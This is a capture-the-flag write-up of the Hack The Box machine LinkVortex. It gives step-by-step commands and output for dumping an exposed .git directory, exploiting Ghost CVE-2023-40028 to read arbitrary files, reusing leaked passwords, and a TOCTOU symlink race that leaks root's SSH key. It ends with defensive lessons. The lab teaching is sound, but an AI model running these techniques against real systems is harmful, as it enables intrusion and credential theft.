~/writeups_
Hack The BoxEasyLinux

LinkVortex

An exposed .git directory on a dev vhost is dumped to recover a Ghost CMS admin password from a committed change. Ghost 5.58.0 is vulnerable to CVE-2023-40028, an authenticated symlink arbitrary file read, used to read the Ghost config and recover bob's SSH password. bob may run a symlink-cleaning script as root that reads a file after a vulnerable check; a TOCTOU race swaps the symlink target to root's SSH key, leaking it for a root login.

TL;DR

LinkVortex is an Easy-difficulty Linux machine themed entirely around symbolic links. A dev virtual host exposes a .git directory, which we dump to recover the source and a password committed into a test file. Those credentials log us into a Ghost CMS running 5.58.0, which is vulnerable to CVE-2023-40028 — an authenticated arbitrary file read via uploaded symlinks. We use it to read Ghost’s config.production.json, which leaks the password for the bob user, reused for SSH. Finally, bob can run a symlink-sanitising script as root; the script validates a link’s target and then reads it, leaving a TOCTOU race we win by continuously flipping the symlink to point at root’s private SSH key, which it prints for us.

MachineOSDifficultyTarget IPPwnbox IP
LinkVortexLinuxEasy10.129.231.19410.10.15.144

Enumeration

We start by finding the open ports with a fast scan, then run service and script detection against just those ports:

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.194 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.129.231.194

The scan returns:

Terminal window
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-05 23:59 +0300
Nmap scan report for 10.129.231.194
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.96 seconds

Two services are exposed: OpenSSH on 22 and an Apache web server on 80 that redirects to linkvortex.htb. Because that hostname is not mapped, browsing to the IP fails:

IMG-LinkVortex

We add the mapping to /etc/hosts:

Terminal window
echo "10.129.231.194 linkvortex.htb" | sudo tee -a /etc/hosts

Reloading, the site — a blog built on the Ghost CMS — loads:

IMG-LinkVortex-1

Virtual host discovery

We fuzz for virtual hosts, filtering out the default response size (230 bytes) that the server returns for non-existent vhosts:

Terminal window
ffuf -w ./subdomains-10000.txt -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -fs 230

A single subdomain stands out:

Terminal window
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 207ms]
:: Progress: [9985/9985] :: Job [1/1] :: 195 req/sec :: Duration: [0:00:57] :: Errors: 0 ::

We map dev.linkvortex.htb as well:

Terminal window
echo "10.129.231.194 dev.linkvortex.htb" | sudo tee -a /etc/hosts

Browsing to it shows only a “launching soon” placeholder:

IMG-LinkVortex-2

Exposed .git directory

With no content to interact with, we brute-force for hidden files and directories:

Terminal window
gobuster dir -u http://dev.linkvortex.htb -w /usr/share/wordlists/dirb/common.txt
Terminal window
.htaccess (Status: 403) [Size: 199]
.git/HEAD (Status: 200) [Size: 41]
.hta (Status: 403) [Size: 199]
.htpasswd (Status: 403) [Size: 199]
cgi-bin/ (Status: 403) [Size: 199]
index.html (Status: 200) [Size: 2538]
server-status (Status: 403) [Size: 199]

The hit on .git/HEAD is the key finding: the site’s .git directory is served publicly. A Git repository stores the project’s entire history, so if the whole .git folder is reachable, we can reconstruct the source and read every committed change. We pull it down with git-dumper:

Terminal window
git-dumper http://dev.linkvortex.htb dump

Inside the dump, git status shows staged changes left in the index:

Terminal window
Not currently on any branch.
Changes to be committed:
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js

We unstage everything and inspect the diff to see what was changed relative to the committed version:

Terminal window
git restore --staged . && git diff
Terminal window
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';

A real-looking password, OctopiFociPilfer45, was substituted into a test — exactly the kind of secret that leaks through version control.

Foothold

Logging in to Ghost

We have a password but no visible login portal, so we check robots.txt on the main site:

Terminal window
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

The /ghost/ path is Ghost’s admin panel. Browsing to it presents the login page:

IMG-LinkVortex-3

The blog’s posts are authored by admin, so we try admin@linkvortex.htb with the recovered password OctopiFociPilfer45, and land on the dashboard:

IMG-LinkVortex-4

Under Settings → About Ghost, the version is disclosed as 5.58.0:

IMG-LinkVortex-5

Ghost 5.58.0 is vulnerable to CVE-2023-40028, an authenticated arbitrary file read. Ghost lets authenticated users upload files (for example via content import), but it does not verify that an uploaded file is a regular file rather than a symbolic link. By uploading a symlink that points at an absolute path on disk and then requesting it back through the web server, we make Ghost read and return the contents of the link’s target — any file the Ghost process can access inside its container.

We use the public exploit at 0xyassine/CVE-2023-40028.

Note

The same result can be achieved entirely through the UI using Ghost’s Labs → Import feature. The idea is identical: create a directory, place inside it a .png that is actually a symlink to the file you want, zip the directory, import the zip, then request the “image” back — the response contains the symlink target’s contents.

We make the exploit executable and set its GHOST_URL variable to http://linkvortex.htb:

Terminal window
chmod a+x CVE-2023-40028.sh

Then run it with the admin credentials:

Terminal window
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45

It gives us an interactive prompt for files to read. Ghost stores its runtime settings — including mail credentials — in /var/lib/ghost/config.production.json, so we request that:

Terminal window
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
...
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}

The config leaks SMTP credentials for bob@linkvortex.htb with the password fibber-talented-worth.

Password reuse over SSH

Passwords are often reused, so we try the recovered mail password for SSH as bob:

Terminal window
ssh bob@linkvortex.htb

The password fibber-talented-worth works, and we read the user flag:

Terminal window
bob@linkvortex:~$ cat user.txt
7b6*****************************

Privilege Escalation

We check bob’s sudo rights:

Terminal window
sudo -l
Terminal window
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

bob may run /opt/ghost/clean_symlink.sh as root against any *.png argument. Two details already stand out: the sudo policy keeps the CHECK_CONTENT environment variable (env_keep+=CHECK_CONTENT), meaning we control it, and the script works on symlinks. We read it:

Terminal window
cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi

The script, running as root, inspects the symlink we pass:

  • If the link’s target contains the string etc or root, it is rejected and deleted.
  • Otherwise the link is moved to /var/quarantined/, and — if CHECK_CONTENT is true — its contents are printed with cat.

Why the TOCTOU race works

The flaw is that the script checks one thing but acts on another, with a gap in between — a classic time-of-check to time-of-use (TOCTOU) bug:

  1. It reads the target once with readlink and runs the grep check against that snapshot.
  2. It then mvs the symlink into /var/quarantined/ — note mv moves the link itself, not its target.
  3. It finally cats /var/quarantined/<name>, which re-resolves the symlink at that moment to decide what to read.

Because the target is resolved again at step 3, it does not have to be the same target that passed the check in step 1. If we can change where the quarantined link points after the grep but before the cat, the check sees a harmless path while cat reads a forbidden one. The grep only blocks the literal strings etc/root, so our link must simply start out pointing somewhere innocuous (e.g. /test) to pass, then be flipped to /root/.ssh/id_rsa.

We win the race by hammering the quarantine location with a loop that constantly re-points the link at root’s private key. In the first terminal:

Terminal window
while true; do ln -sf /root/.ssh/id_rsa /var/quarantined/test.png; done

In a second terminal we enable content printing (preserved through sudo thanks to env_keep), create the benign link that passes the check, and run the script:

Terminal window
export CHECK_CONTENT=true
ln -s /test test.png
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh test.png

Here the sequence races as intended: test.png points to /test, which passes the grep; the script moves it to /var/quarantined/test.png; the loop immediately overwrites that path to point at /root/.ssh/id_rsa; and the final cat — running as root — follows the new target and prints the key:

Terminal window
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh test.png
Link found [ test.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----

The race may not land on the first attempt — if cat prints nothing, simply re-run the second terminal’s ln/sudo pair while the loop keeps running until the key appears.

Root via the recovered key

We save the key as id_rsa on the Pwnbox, lock down its permissions, and log in as root:

Terminal window
chmod 600 id_rsa
ssh -i id_rsa root@linkvortex.htb

With a root shell, we read the root flag:

Terminal window
# cat /root/root.txt
********************************
Rooted

Exposed .git on the dev vhost dumped for a committed Ghost admin password → Ghost 5.58.0 symlink arbitrary file read (CVE-2023-40028) to leak config.production.json and bob’s password reused for SSH → TOCTOU race in the sudo-allowed clean_symlink.sh to read root’s SSH key and log in as root.

Lessons Learned

  • Never expose .git to the web. A publicly served .git directory handed us the full source and a committed password. Block dotfiles/.git at the web server, and deploy from a build artefact rather than a live working tree.
  • Keep secrets out of version control. A real password was committed into a test file, where it lived forever in history. Use placeholders and secret managers, and rotate any credential that has ever touched a repository.
  • Treat uploaded files as untrusted — including their type. Ghost followed uploaded symlinks and read arbitrary files. Applications must reject or resolve symlinks on upload, canonicalise paths, and keep user content confined to its intended directory.
  • Avoid check-then-use patterns on attacker-controlled paths. clean_symlink.sh validated a symlink’s target and then re-resolved it, leaving a TOCTOU window. Operate on a file descriptor opened once (e.g. with O_NOFOLLOW), resolve and act on the same object atomically, and don’t run such helpers as root with user-supplied paths.